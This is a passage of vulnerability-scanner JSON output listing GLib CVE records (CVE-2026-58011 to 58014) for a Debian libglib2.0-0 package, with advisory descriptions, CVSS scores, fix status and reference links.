"https://bugzilla.redhat.com/show_bug.cgi?id=2492243", "https://bugzilla.redhat.com/show_bug.cgi?id=2492245", "https://bugzilla.redhat.com/show_bug.cgi?id=2492247", "https://bugzilla.redhat.com/show_bug.cgi?id=2492248", "https://bugzilla.redhat.com/show_bug.cgi?id=2492255", "https://bugzilla.redhat.com/show_bug.cgi?id=2492256", "https://bugzilla.redhat.com/show_bug.cgi?id=2499675", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58010", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58012", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58013", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58014", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58015", "https://errata.almalinux.org/9/ALSA-2026-55440.html", "https://errata.rockylinux.org/RLSA-2026:55440", "https://github.com/advisories/GHSA-m7rp-473c-296x", "https://gitlab.gnome.org/GNOME/glib/-/issues/3915", "https://linux.oracle.com/cve/CVE-2026-58010.html", "https://linux.oracle.com/errata/ELSA-2026-65773-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-58010", "https://ubuntu.com/security/notices/USN-8794-1", "https://www.cve.org/CVERecord?id=CVE-2026-58010" ], "PublishedDate": "2026-06-30T13:19:17.067Z", "LastModifiedDate": "2026-11-06T08:17:28.123Z" }, { "VulnerabilityID": "CVE-2026-58011", "PkgID": "libglib2.0-0@2.74.6-2+deb12u8", "PkgName": "libglib2.0-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libglib2.0-0@2.74.6-2%2Bdeb12u8?arch=amd64\u0026distro=debian-12.13", "UID": "d2e3645d4c6a35df" }, "InstalledVersion": "2.74.6-2+deb12u8", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-58011", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d8e03b5b7416d2c89b1cfcffab8ce385ca68031b6b9928e66d586210239cfb34", "Title": "glib: out-of-bounds read in glib/gdatetime.c:g_date_time_get_ymd via invalid GDateTime", "Description": "A flaw was found in GLib. An out-of-bounds read of only 2 bytes can occur in the g_date_time_get_ymd function in the glib/gdatetime.c file when an invalid GDateTime object produced by the g_date_time_add_full function is processed. This flaw can corrupt the date output and potentially cause logic errors that may lead to a denial of service.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "V3Score": 6.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:49512", "https://access.redhat.com/errata/RHSA-2026:55440", "https://access.redhat.com/errata/RHSA-2026:57015", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:61766", "https://access.redhat.com/errata/RHSA-2026:61783", "https://access.redhat.com/errata/RHSA-2026:63135", "https://access.redhat.com/errata/RHSA-2026:63138", "https://access.redhat.com/errata/RHSA-2026:63140", "https://access.redhat.com/errata/RHSA-2026:65762", "https://access.redhat.com/errata/RHSA-2026:65763", "https://access.redhat.com/errata/RHSA-2026:65767", "https://access.redhat.com/errata/RHSA-2026:65768", "https://access.redhat.com/errata/RHSA-2026:65769", "https://access.redhat.com/errata/RHSA-2026:65770", "https://access.redhat.com/errata/RHSA-2026:65771", "https://access.redhat.com/errata/RHSA-2026:65773", "https://access.redhat.com/errata/RHSA-2026:66018", "https://access.redhat.com/errata/RHSA-2026:72394", "https://access.redhat.com/errata/RHSA-2026:72395", "https://access.redhat.com/errata/RHSA-2026:72399", "https://access.redhat.com/errata/RHSA-2026:72470", "https://access.redhat.com/errata/RHSA-2026:72475", "https://access.redhat.com/errata/RHSA-2026:72476", "https://access.redhat.com/errata/RHSA-2026:72502", "https://access.redhat.com/errata/RHSA-2026:73859", "https://access.redhat.com/errata/RHSA-2026:73909", "https://access.redhat.com/errata/RHSA-2026:73929", "https://access.redhat.com/errata/RHSA-2026:73930", "https://access.redhat.com/errata/RHSA-2026:73959", "https://access.redhat.com/errata/RHSA-2026:73960", "https://access.redhat.com/errata/RHSA-2026:73961", "https://access.redhat.com/errata/RHSA-2026:73962", "https://access.redhat.com/errata/RHSA-2026:74458", "https://access.redhat.com/errata/RHSA-2026:74459", "https://access.redhat.com/errata/RHSA-2026:74460", "https://access.redhat.com/errata/RHSA-2026:74461", "https://access.redhat.com/errata/RHSA-2026:74462", "https://access.redhat.com/errata/RHSA-2026:74463", "https://access.redhat.com/errata/RHSA-2026:74674", "https://access.redhat.com/errata/RHSA-2026:74677", "https://access.redhat.com/errata/RHSA-2026:74678", "https://access.redhat.com/errata/RHSA-2026:74679", "https://access.redhat.com/errata/RHSA-2026:74681", "https://access.redhat.com/errata/RHSA-2026:74683", "https://access.redhat.com/errata/RHSA-2026:74685", "https://access.redhat.com/errata/RHSA-2026:74687", "https://access.redhat.com/errata/RHSA-2026:74688", "https://access.redhat.com/errata/RHSA-2026:74771", "https://access.redhat.com/errata/RHSA-2026:75652", "https://access.redhat.com/errata/RHSA-2026:75654", "https://access.redhat.com/errata/RHSA-2026:75655", "https://access.redhat.com/errata/RHSA-2026:75657", "https://access.redhat.com/errata/RHSA-2026:75658", "https://access.redhat.com/errata/RHSA-2026:75659", "https://access.redhat.com/errata/RHSA-2026:75660", "https://access.redhat.com/errata/RHSA-2026:76042", "https://access.redhat.com/errata/RHSA-2026:80769", "https://access.redhat.com/errata/RHSA-2026:80771", "https://access.redhat.com/errata/RHSA-2026:82059", "https://access.redhat.com/errata/RHSA-2026:82061", "https://access.redhat.com/errata/RHSA-2026:82066", "https://access.redhat.com/errata/RHSA-2026:82304", "https://access.redhat.com/errata/RHSA-2026:82322", "https://access.redhat.com/errata/RHSA-2026:82336", "https://access.redhat.com/errata/RHSA-2026:82347", "https://access.redhat.com/errata/RHSA-2026:82354", "https://access.redhat.com/errata/RHSA-2026:82368", "https://access.redhat.com/errata/RHSA-2026:82371", "https://access.redhat.com/errata/RHSA-2026:82372", "https://access.redhat.com/errata/RHSA-2026:82415", "https://access.redhat.com/errata/RHSA-2026:82857", "https://access.redhat.com/errata/RHSA-2026:82888", "https://access.redhat.com/errata/RHSA-2026:92449", "https://access.redhat.com/errata/RHSA-2026:92452", "https://access.redhat.com/security/cve/CVE-2026-58011", "https://bugzilla.redhat.com/2492243", "https://bugzilla.redhat.com/2492245", "https://bugzilla.redhat.com/2492247", "https://bugzilla.redhat.com/2492248", "https://bugzilla.redhat.com/2492255", "https://bugzilla.redhat.com/2492256", "https://bugzilla.redhat.com/2499675", "https://bugzilla.redhat.com/show_bug.cgi?id=2492243", "https://bugzilla.redhat.com/show_bug.cgi?id=2492245", "https://bugzilla.redhat.com/show_bug.cgi?id=2492247", "https://bugzilla.redhat.com/show_bug.cgi?id=2492248", "https://bugzilla.redhat.com/show_bug.cgi?id=2492255", "https://bugzilla.redhat.com/show_bug.cgi?id=2492256", "https://bugzilla.redhat.com/show_bug.cgi?id=2499675", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58010", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58012", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58013", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58014", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58015", "https://errata.almalinux.org/9/ALSA-2026-55440.html", "https://errata.rockylinux.org/RLSA-2026:55440", "https://github.com/advisories/GHSA-8xmh-8wfg-9f6j", "https://gitlab.gnome.org/GNOME/glib/-/issues/3917", "https://gitlab.gnome.org/GNOME/glib/-/work_items/3917", "https://linux.oracle.com/cve/CVE-2026-58011.html", "https://linux.oracle.com/errata/ELSA-2026-65773-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-58011", "https://ubuntu.com/security/notices/USN-8794-1", "https://www.cve.org/CVERecord?id=CVE-2026-58011" ], "PublishedDate": "2026-06-30T13:19:17.2Z", "LastModifiedDate": "2026-11-06T08:17:28.703Z" }, { "VulnerabilityID": "CVE-2026-58012", "PkgID": "libglib2.0-0@2.74.6-2+deb12u8", "PkgName": "libglib2.0-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libglib2.0-0@2.74.6-2%2Bdeb12u8?arch=amd64\u0026distro=debian-12.13", "UID": "d2e3645d4c6a35df" }, "InstalledVersion": "2.74.6-2+deb12u8", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-58012", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8091e978f58e852bd8615bf9bac26b93fce4767988c2d235816e9b8be0f18ade", "Title": "glib: buffer over-read in g_regex_replace() via glib/gregex.c:string_append() and g_utf8_next_char()", "Description": "A flaw was found in GLib. A buffer over-read can occur in the g_regex_replace function when used with the `G_REGEX_RAW` compile flag and case-change replacement escapes because the string_append function processes matched substrings using UTF-8 functions that assume valid UTF-8 input, even when the string is treated as raw bytes. This vulnerability can cause a minor information disclosure of 1-5 bytes and a denial of service when the buffer over-read crosses a page boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-126" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "V3Score": 8.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "V3Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "V3Score": 6.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:49512", "https://access.redhat.com/errata/RHSA-2026:55440", "https://access.redhat.com/errata/RHSA-2026:57015", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:61766", "https://access.redhat.com/errata/RHSA-2026:61783", "https://access.redhat.com/errata/RHSA-2026:63135", "https://access.redhat.com/errata/RHSA-2026:63138", "https://access.redhat.com/errata/RHSA-2026:63140", "https://access.redhat.com/errata/RHSA-2026:65762", "https://access.redhat.com/errata/RHSA-2026:65763", "https://access.redhat.com/errata/RHSA-2026:65767", "https://access.redhat.com/errata/RHSA-2026:65768", "https://access.redhat.com/errata/RHSA-2026:65769", "https://access.redhat.com/errata/RHSA-2026:65770", "https://access.redhat.com/errata/RHSA-2026:65771", "https://access.redhat.com/errata/RHSA-2026:65773", "https://access.redhat.com/errata/RHSA-2026:66018", "https://access.redhat.com/errata/RHSA-2026:72394", "https://access.redhat.com/errata/RHSA-2026:72395", "https://access.redhat.com/errata/RHSA-2026:72399", "https://access.redhat.com/errata/RHSA-2026:72470", "https://access.redhat.com/errata/RHSA-2026:72475", "https://access.redhat.com/errata/RHSA-2026:72476", "https://access.redhat.com/errata/RHSA-2026:72502", "https://access.redhat.com/errata/RHSA-2026:73859", "https://access.redhat.com/errata/RHSA-2026:73909", "https://access.redhat.com/errata/RHSA-2026:73929", "https://access.redhat.com/errata/RHSA-2026:73930", "https://access.redhat.com/errata/RHSA-2026:73959", "https://access.redhat.com/errata/RHSA-2026:73960", "https://access.redhat.com/errata/RHSA-2026:73961", "https://access.redhat.com/errata/RHSA-2026:73962", "https://access.redhat.com/errata/RHSA-2026:74458", "https://access.redhat.com/errata/RHSA-2026:74459", "https://access.redhat.com/errata/RHSA-2026:74460", "https://access.redhat.com/errata/RHSA-2026:74461", "https://access.redhat.com/errata/RHSA-2026:74462", "https://access.redhat.com/errata/RHSA-2026:74463", "https://access.redhat.com/errata/RHSA-2026:74674", "https://access.redhat.com/errata/RHSA-2026:74677", "https://access.redhat.com/errata/RHSA-2026:74678", "https://access.redhat.com/errata/RHSA-2026:74679", "https://access.redhat.com/errata/RHSA-2026:74681", "https://access.redhat.com/errata/RHSA-2026:74683", "https://access.redhat.com/errata/RHSA-2026:74685", "https://access.redhat.com/errata/RHSA-2026:74687", "https://access.redhat.com/errata/RHSA-2026:74688", "https://access.redhat.com/errata/RHSA-2026:74771", "https://access.redhat.com/errata/RHSA-2026:75652", "https://access.redhat.com/errata/RHSA-2026:75654", "https://access.redhat.com/errata/RHSA-2026:75655", "https://access.redhat.com/errata/RHSA-2026:75657", "https://access.redhat.com/errata/RHSA-2026:75658", "https://access.redhat.com/errata/RHSA-2026:75659", "https://access.redhat.com/errata/RHSA-2026:75660", "https://access.redhat.com/errata/RHSA-2026:76042", "https://access.redhat.com/errata/RHSA-2026:80769", "https://access.redhat.com/errata/RHSA-2026:80771", "https://access.redhat.com/errata/RHSA-2026:82059", "https://access.redhat.com/errata/RHSA-2026:82061", "https://access.redhat.com/errata/RHSA-2026:82066", "https://access.redhat.com/errata/RHSA-2026:82304", "https://access.redhat.com/errata/RHSA-2026:82322", "https://access.redhat.com/errata/RHSA-2026:82336", "https://access.redhat.com/errata/RHSA-2026:82347", "https://access.redhat.com/errata/RHSA-2026:82354", "https://access.redhat.com/errata/RHSA-2026:82368", "https://access.redhat.com/errata/RHSA-2026:82371", "https://access.redhat.com/errata/RHSA-2026:82372", "https://access.redhat.com/errata/RHSA-2026:82415", "https://access.redhat.com/errata/RHSA-2026:82857", "https://access.redhat.com/errata/RHSA-2026:82888", "https://access.redhat.com/errata/RHSA-2026:92449", "https://access.redhat.com/errata/RHSA-2026:92452", "https://access.redhat.com/security/cve/CVE-2026-58012", "https://bugzilla.redhat.com/2492243", "https://bugzilla.redhat.com/2492245", "https://bugzilla.redhat.com/2492247", "https://bugzilla.redhat.com/2492248", "https://bugzilla.redhat.com/2492255", "https://bugzilla.redhat.com/2492256", "https://bugzilla.redhat.com/2499675", "https://bugzilla.redhat.com/show_bug.cgi?id=2492243", "https://bugzilla.redhat.com/show_bug.cgi?id=2492245", "https://bugzilla.redhat.com/show_bug.cgi?id=2492247", "https://bugzilla.redhat.com/show_bug.cgi?id=2492248", "https://bugzilla.redhat.com/show_bug.cgi?id=2492255", "https://bugzilla.redhat.com/show_bug.cgi?id=2492256", "https://bugzilla.redhat.com/show_bug.cgi?id=2499675", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58010", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58012", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58013", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58014", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58015", "https://errata.almalinux.org/9/ALSA-2026-55440.html", "https://errata.rockylinux.org/RLSA-2026:55440", "https://github.com/advisories/GHSA-vwg8-37h9-g38g", "https://gitlab.gnome.org/GNOME/glib/-/issues/3918", "https://linux.oracle.com/cve/CVE-2026-58012.html", "https://linux.oracle.com/errata/ELSA-2026-65773-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-58012", "https://ubuntu.com/security/notices/USN-8794-1", "https://www.cve.org/CVERecord?id=CVE-2026-58012" ], "PublishedDate": "2026-06-30T13:19:17.33Z", "LastModifiedDate": "2026-11-06T08:17:29.29Z" }, { "VulnerabilityID": "CVE-2026-58013", "PkgID": "libglib2.0-0@2.74.6-2+deb12u8", "PkgName": "libglib2.0-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libglib2.0-0@2.74.6-2%2Bdeb12u8?arch=amd64\u0026distro=debian-12.13", "UID": "d2e3645d4c6a35df" }, "InstalledVersion": "2.74.6-2+deb12u8", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-58013", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c079ead032bb4f75206eed1a7801cc2681162557e5440607acd8cb7a722e0483", "Title": "glib: buffer over-read in glib/giochannel.c via \"g_io_channel_read_line_backend\"", "Description": "A flaw was found in GLib. A buffer over-read can occur in g_io_channel_read_line_backend() in the giochannel.c file when a custom line terminator with a length greater than one is set, causing memcmp to read past the GString buffer. This vulnerability can cause a minor information disclosure of 7 bytes or a denial of service when the buffer over-read crosses a page boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-126" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "V3Score": 8.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "V3Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "V3Score": 6.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:49512", "https://access.redhat.com/errata/RHSA-2026:55440", "https://access.redhat.com/errata/RHSA-2026:57015", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:61766", "https://access.redhat.com/errata/RHSA-2026:61783", "https://access.redhat.com/errata/RHSA-2026:63135", "https://access.redhat.com/errata/RHSA-2026:63138", "https://access.redhat.com/errata/RHSA-2026:63140", "https://access.redhat.com/errata/RHSA-2026:65762", "https://access.redhat.com/errata/RHSA-2026:65763", "https://access.redhat.com/errata/RHSA-2026:65767", "https://access.redhat.com/errata/RHSA-2026:65768", "https://access.redhat.com/errata/RHSA-2026:65769", "https://access.redhat.com/errata/RHSA-2026:65770", "https://access.redhat.com/errata/RHSA-2026:65771", "https://access.redhat.com/errata/RHSA-2026:65773", "https://access.redhat.com/errata/RHSA-2026:66018", "https://access.redhat.com/errata/RHSA-2026:72394", "https://access.redhat.com/errata/RHSA-2026:72395", "https://access.redhat.com/errata/RHSA-2026:72399", "https://access.redhat.com/errata/RHSA-2026:72470", "https://access.redhat.com/errata/RHSA-2026:72475", "https://access.redhat.com/errata/RHSA-2026:72476", "https://access.redhat.com/errata/RHSA-2026:72502", "https://access.redhat.com/errata/RHSA-2026:73859", "https://access.redhat.com/errata/RHSA-2026:73909", "https://access.redhat.com/errata/RHSA-2026:73929", "https://access.redhat.com/errata/RHSA-2026:73930", "https://access.redhat.com/errata/RHSA-2026:73959", "https://access.redhat.com/errata/RHSA-2026:73960", "https://access.redhat.com/errata/RHSA-2026:73961", "https://access.redhat.com/errata/RHSA-2026:73962", "https://access.redhat.com/errata/RHSA-2026:74458", "https://access.redhat.com/errata/RHSA-2026:74459", "https://access.redhat.com/errata/RHSA-2026:74460", "https://access.redhat.com/errata/RHSA-2026:74461", "https://access.redhat.com/errata/RHSA-2026:74462", "https://access.redhat.com/errata/RHSA-2026:74463", "https://access.redhat.com/errata/RHSA-2026:74674", "https://access.redhat.com/errata/RHSA-2026:74677", "https://access.redhat.com/errata/RHSA-2026:74678", "https://access.redhat.com/errata/RHSA-2026:74679", "https://access.redhat.com/errata/RHSA-2026:74681", "https://access.redhat.com/errata/RHSA-2026:74683", "https://access.redhat.com/errata/RHSA-2026:74685", "https://access.redhat.com/errata/RHSA-2026:74687", "https://access.redhat.com/errata/RHSA-2026:74688", "https://access.redhat.com/errata/RHSA-2026:74771", "https://access.redhat.com/errata/RHSA-2026:75652", "https://access.redhat.com/errata/RHSA-2026:75654", "https://access.redhat.com/errata/RHSA-2026:75655", "https://access.redhat.com/errata/RHSA-2026:75657", "https://access.redhat.com/errata/RHSA-2026:75658", "https://access.redhat.com/errata/RHSA-2026:75659", "https://access.redhat.com/errata/RHSA-2026:75660", "https://access.redhat.com/errata/RHSA-2026:76042", "https://access.redhat.com/errata/RHSA-2026:80769", "https://access.redhat.com/errata/RHSA-2026:80771", "https://access.redhat.com/errata/RHSA-2026:82059", "https://access.redhat.com/errata/RHSA-2026:82061", "https://access.redhat.com/errata/RHSA-2026:82066", "https://access.redhat.com/errata/RHSA-2026:82304", "https://access.redhat.com/errata/RHSA-2026:82322", "https://access.redhat.com/errata/RHSA-2026:82336", "https://access.redhat.com/errata/RHSA-2026:82347", "https://access.redhat.com/errata/RHSA-2026:82354", "https://access.redhat.com/errata/RHSA-2026:82368", "https://access.redhat.com/errata/RHSA-2026:82371", "https://access.redhat.com/errata/RHSA-2026:82372", "https://access.redhat.com/errata/RHSA-2026:82415", "https://access.redhat.com/errata/RHSA-2026:82857", "https://access.redhat.com/errata/RHSA-2026:82888", "https://access.redhat.com/errata/RHSA-2026:92449", "https://access.redhat.com/errata/RHSA-2026:92452", "https://access.redhat.com/security/cve/CVE-2026-58013", "https://bugzilla.redhat.com/2492243", "https://bugzilla.redhat.com/2492245", "https://bugzilla.redhat.com/2492247", "https://bugzilla.redhat.com/2492248", "https://bugzilla.redhat.com/2492255", "https://bugzilla.redhat.com/2492256", "https://bugzilla.redhat.com/2499675", "https://bugzilla.redhat.com/show_bug.cgi?id=2492243", "https://bugzilla.redhat.com/show_bug.cgi?id=2492245", "https://bugzilla.redhat.com/show_bug.cgi?id=2492247", "https://bugzilla.redhat.com/show_bug.cgi?id=2492248", "https://bugzilla.redhat.com/show_bug.cgi?id=2492255", "https://bugzilla.redhat.com/show_bug.cgi?id=2492256", "https://bugzilla.redhat.com/show_bug.cgi?id=2499675", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58010", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58012", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58013", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58014", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58015", "https://errata.almalinux.org/9/ALSA-2026-55440.html", "https://errata.rockylinux.org/RLSA-2026:55440", "https://github.com/advisories/GHSA-4x46-h598-64qr", "https://gitlab.gnome.org/GNOME/glib/-/issues/3925", "https://linux.oracle.com/cve/CVE-2026-58013.html", "https://linux.oracle.com/errata/ELSA-2026-65773-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-58013", "https://ubuntu.com/security/notices/USN-8794-1", "https://www.cve.org/CVERecord?id=CVE-2026-58013" ], "PublishedDate": "2026-06-30T13:19:17.457Z", "LastModifiedDate": "2026-11-06T08:17:30.883Z" }, { "VulnerabilityID": "CVE-2026-58014", "PkgID": "libglib2.0-0@2.74.6-2+deb12u8", "PkgName": "libglib2.0-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libglib2.0-0@2.74.6-2%2Bdeb12u8?arch=amd64\u0026distro=debian-12.13", "UID": "d2e3645d4c6a35df" }, "InstalledVersion": "2.74.6-2+deb12u8", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-58014", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:70cb155cb40189299cdb80805f22709aaa0e007e831ff872acfc26757a6c215c", "Title": "glib: off-by-one error in glib/gkeyfile.c via \"g_key_file_get_locale_string_list\"", "Description": "A flaw was found in GLib. An off-by-one error can occur in the g_key_file_get_locale_string_list function in the gkeyfile.c file when loading a key file with an empty value. This flaw can cause an out-of-bounds access of 1 byte or a denial of service when the out-of-bounds access crosses a page boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-193" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 3, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H", "V3Score": 8.6 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H", "V3Score": 8.6 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:49512", "https://access.redhat.com/errata/RHSA-2026:55440", "https://access.redhat.com/errata/RHSA-2026:57015", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:61766", "https://access.redhat.com/errata/RHSA-2026:61783", "https://access.redhat.com/errata/RHSA-2026:63135", "https://access.redhat.com/errata/RHSA-2026:63138", "https://access.redhat.com/errata/RHSA-2026:63140", "https://access.redhat.com/errata/RHSA-2026:65762", "https://access.redhat.com/errata/RHSA-2026:65763", "https://access.redhat.com/errata/RHSA-2026:65767", "https://access.redhat.com/errata/RHSA-2026:65768", "https://access.redhat.com/errata/RHSA-2026:65769", "https://access.redhat.com/errata/RHSA-2026:65770", "https://access.redhat.com/errata/RHSA-2026:65771", "https://access.redhat.com/errata/RHSA-2026:65773", "https://access.redhat.com/errata/RHSA-2026:66018", "https://access.redhat.com/errata/RHSA-2026:66357", "https://access.redhat.com/errata/RHSA-2026:70586", "https://access.redhat.com/errata/RHSA-2026:70646", "https://access.redhat.com/errata/RHSA-2026:72394", "https://access.redhat.com/errata/RHSA-2026:72395", "https://access.redhat.com/errata/RHSA-2026:72399", "https://access.redhat.com/errata/RHSA-2026:72470", "https://access.redhat.com/errata/RHSA-2026:72475", "https://access.redhat.com/errata/RHSA-2026:72476", "https://access.redhat.com/errata/RHSA-2026:72502", "https://access.redhat.com/errata/RHSA-2026:73851", "https://access.redhat.com/errata/RHSA-2026:73859", "https://access.redhat.com/errata/RHSA-2026:73866", "https://access.redhat.com/errata/RHSA-2026:73909", "https://access.redhat.com/errata/RHSA-2026:73929", "https://access.redhat.com/errata/RHSA-2026:73930", "https://access.redhat.com/errata/RHSA-2026:73959", "https://access.redhat.com/errata/RHSA-2026:73960", "https://access.redhat.com/errata/RHSA-2026:73961", "https://access.redhat.com/errata/RHSA-2026:73962", "https://access.redhat.com/errata/RHSA-2026:74458", "https://access.redhat.com/errata/RHSA-2026:74459", "https://access.redhat.com/errata/RHSA-2026:74460", "https://access.redhat.com/errata/RHSA-2026:74461", "https://access.redhat.com/errata/RHSA-2026:74462", "https://access.redhat.com/errata/RHSA-2026:74463", "https://access.redhat.com/errata/RHSA-2026:74674", "https://access.redhat.com/errata/RHSA-2026:74677", "https://access.redhat.com/errata/RHSA-2026:74678", "https://access.redhat.com/errata/RHSA-2026:74679", "https://access.redhat.com/errata/RHSA-2026:74681", "https://access.redhat.com/errata/RHSA-2026:74683", "https://access.redhat.com/errata/RHSA-2026:74685", "https://access.redhat.com/errata/RHSA-2026:74687", "https://access.redhat.com/errata/RHSA-2026:74688", "https://access.redhat.com/errata/RHSA-2026:74771", "https://access.redhat.com/errata/RHSA-2026:75652", "https://access.redhat.com/errata/RHSA-2026:75654", "https://access.redhat.com/errata/RHSA-2026:75655", "https://access.redhat.com/errata/RHSA-2026:75657", "https://access.redhat.com/errata/RHSA-2026:75658", "https://access.redhat.com/errata/RHSA-2026:75659", "https://access.redhat.com/errata/RHSA-2026:75660", "https://access.redhat.com/errata/RHSA-2026:76042", "https://access.redhat.com/errata/RHSA-2026:77320", "https://access.redhat.com/errata/RHSA-2026:80769", "https://access.redhat.com/errata/RHSA-2026:80771", "https://access.redhat.com/errata/RHSA-2026:82059", "https://access.redhat.com/errata/RHSA-2026:82061", "https://access.redhat.com/errata/RHSA-2026:82066", "https://access.redhat.com/errata/RHSA-2026:82304", "https://access.redhat.com/errata/RHSA-2026:82322", "https://access.redhat.com/errata/RHSA-2026:82336", "https://access.redhat.com/errata/RHSA-2026:82347", 